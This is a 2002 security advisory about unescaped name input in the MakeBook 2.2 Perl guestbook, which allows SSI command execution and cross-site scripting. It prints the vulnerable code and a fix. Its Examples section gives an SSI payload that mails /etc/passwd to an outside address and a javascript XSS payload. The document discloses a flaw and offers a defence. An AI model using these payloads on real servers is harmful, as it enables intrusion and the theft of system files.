SSI & CSS execution in MakeBook 2.2

From: DownBload (downbloadat_private)
Date: Wed Jun 12 2002 - 00:22:06 PDT

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      [ DownBload Security Research Lab Advisory ]
[-------------------------------------------------------------------------]
Advisory name: SSI & CSS execution in MakeBook 2.2
Advisory number: 5							
Application: MakeBook 2.2 (CGI script)
Application author: Kristina Pfaff-Harris 
Source: http://www.tesol.net/scriptmail.html				
Date: 12.6.2002							
Impact: remote user can execute shell commands & cross site scripting 
Tested on: Debian 2.1 (2.0.36 kernel), Apache web server - version 1.3.4
Discovered by: DownBload						
Mail me @: downbloadat_private					




------[ Overview 							 

"...MakeBook v2.2 is a simple program which can be used as a guestbook,
an ongoing writing project where each person adds to an ongoing story,
a comment board, or even a way to let people add comments to many
individual pages.  It allows a user to enter their name, email address,
and some text which will then be added to the "bookfile".  Originally
intended for use in writing a continuing story or journal, where
different students could add to the story as they went along, it has
evolved into a more flexible system which allows the owner to choose
how the "book" entries should appear, and even what pages they appear 
on..."


				   

------[ Problem  							
	
Our dear Kristina wrote an advanced CGI guestbook, in perl ofcorse. 
It works fine, but troubles comes when you look for security measures in 
program. When you want to sign guestbook, you have to write your name,
email address, and some text. Script does remove 'some' special-char in 
$text, but script doesn't replace special-chars in $name at all, and 
because
of that, it is possible instead of name, enter and execute some SSI(Server
Side Includes) or CSS(Cross Site Scripting) code.
'Buggy' code:
...
$name =$data{"Name"};
$email =$data{"Email"};
$text =$data{"Text"};
$text =~ s/</&lt;/g;
$text =~ s/>/&gt;/g;
...




------[ Examples

SSI attack
~~~~~~~~~~
Name: <!--#exec cmd="/bin/mail downbloadat_private < /etc/passwd"-->
E-mail: downbloadat_private
Text: I hacked you, my kung-fu is the best... ;)

CSS attack
~~~~~~~~~~
Name: <img src="javascript:alert('HACKED BY DOWNBLOAD');">
E-mail: downbloadat_private
Text: I hacked you, my kung-fu is the best... ;)

I won't give you more examples, use your own imagination :).
BTW: SSI attack depends on web server, because some web servers
comes with, and some without support for SSI.




------[ Solution 

Solution for this bug would be to filter special characters from user
input. For now, you can use this:

...
$name  = $data{"Name"};
$name  =~ s/</&lt;/g;
$name  =~ s/>/&gt;/g;

$email = $data{"Email"};
$email =~ s/</&lt;/g;
$email =~ s/>/&gt;/g;

$text = $data{"Text"};
$text =~ s/</&lt;/g;
$text =~ s/>/&gt;/g;
...




------[ Greetz

Greetz goes to #hr.hackers <irc.carnet.hr>.
Special greetz goes to Kristina Pfaff-Harris (ladies first), BoyScout, 
h4z4rd, fi, Fr1c, harlequin and www.active-security.org.
		

    

    



    

    


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: Wed Jun 12 2002 - 07:36:59 PDT